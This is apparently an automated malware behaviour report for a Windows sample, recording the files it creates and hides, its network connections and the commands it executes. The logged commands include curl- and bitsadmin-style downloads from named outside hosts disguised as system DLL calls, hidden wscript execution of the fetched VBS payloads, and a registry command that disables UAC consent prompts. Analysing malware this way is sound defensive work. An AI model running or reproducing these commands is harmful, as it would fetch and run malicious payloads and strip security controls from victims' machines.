Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
- User Account Control (UAC)
Creates and executes the following
- 'C:\users\public\documents\msupdate_100919\ntdll.dll' -k -s -L -o "C:\Users\Public\Documents\MSUpdate_100919\data.tmp" https://qse.shoppes.help/falali/f450.png
- 'C:\users\public\documents\msupdate_100919\ntdll.dll' -k -s -L -o "C:\Users\Public\Documents\MSUpdate_100919\lfszipag.vbs" https://invoice.msopsa.top/lfas/lfszipag.vbs
- 'C:\users\public\documents\sys16391\msvcrt.dll' -k -s -L -o "C:\Users\Public\Documents\Sys16391\tmp706.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/lose.zip
- 'C:\users\public\documents\sys16391\advapi32.dll' /transfer t /download /priority normal https://baolongwes.oss-ap-southeast-1.aliyuncs.com/lose.zip "C:\Users\Public\Documents\Sys16391\tmp706.zip"
Modifies file system
Creates the following files
- C:\users\public\documents\msupdate_100919\ntdll.dll
- C:\users\public\documents\msupdate_100919\kernel32.dll
- C:\users\public\documents\msupdate_100919\data.tmp
- C:\users\public\documents\msupdate_100919\lfszipag.vbs
- C:\users\public\documents\sys16391\msvcrt.dll
- C:\users\public\documents\sys16391\advapi32.dll
Sets the 'hidden' attribute to the following files
- C:\users\public\documents\msupdate_100919\run.vbs
- C:\users\public\documents\msupdate_100919\lfszipag.vbs
- C:\users\public\documents\sys16391\msvcrt.dll
- C:\users\public\documents\sys16391\advapi32.dll
- C:\users\public\documents\sys16391\tmp706.zip
Moves the following files
- from C:\users\public\documents\msupdate_100919\data.tmp to C:\users\public\documents\msupdate_100919\run.vbs
Network activity
Connects to
- 'qs#.##oppes.help':443
- 'in####e.msopsa.top':443
TCP
Other
- 'in####e.msopsa.top':443
UDP
- DNS ASK qs#.##oppes.help
- DNS ASK in####e.msopsa.top
- DNS ASK ba########.#ss-ap-southeast-1.aliyuncs.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\Documents\MSUpdate_100919\run.vbs"
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\Documents\MSUpdate_100919\lfszipag.vbs"
Executes the following
- '<SYSTEM32>\cmd.exe' /c C:\Users\Public\Documents\MSUpdate_100919\ntdll.dll -k -s -L -o "C:\Users\Public\Documents\MSUpdate_100919\data.tmp" https://qse.shoppes.help/falali/f450.png
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c C:\Users\Public\Documents\MSUpdate_100919\ntdll.dll -k -s -L -o "C:\Users\Public\Documents\MSUpdate_100919\lfszipag.vbs" https://invoice.msopsa.top/lfas/lfszipag.vbs
- '<SYSTEM32>\cmd.exe' /c C:\Users\Public\Documents\Sys16391\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys16391\tmp706.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/lose.zip
- '<SYSTEM32>\cmd.exe' /c C:\Users\Public\Documents\Sys16391\advapi32.dll /transfer t /download /priority normal https://baolongwes.oss-ap-southeast-1.aliyuncs.com/lose.zip "C:\Users\Public\Documents\Sys16391\tmp706....
- '<SYSTEM32>\cmd.exe' /c C:\Users\Public\Documents\MSUpdate_100919\ntdll.dll -k -s -L -o "C:\Users\Public\Documents\MSUpdate_100919\data.tmp" https://qse.shoppes.help/falali/f450.png' (with hidden window)
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\Documents\MSUpdate_100919\run.vbs"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d 0 /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c C:\Users\Public\Documents\MSUpdate_100919\ntdll.dll -k -s -L -o "C:\Users\Public\Documents\MSUpdate_100919\lfszipag.vbs" https://invoice.msopsa.top/lfas/lfszipag.vbs' (with hidden window)
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\Documents\MSUpdate_100919\lfszipag.vbs"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c C:\Users\Public\Documents\Sys16391\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys16391\tmp706.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/lose.zip' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c C:\Users\Public\Documents\Sys16391\advapi32.dll /transfer t /download /priority normal https://baolongwes.oss-ap-southeast-1.aliyuncs.com/lose.zip "C:\Users\Public\Documents\Sys16391\tmp706....' (with hidden window)
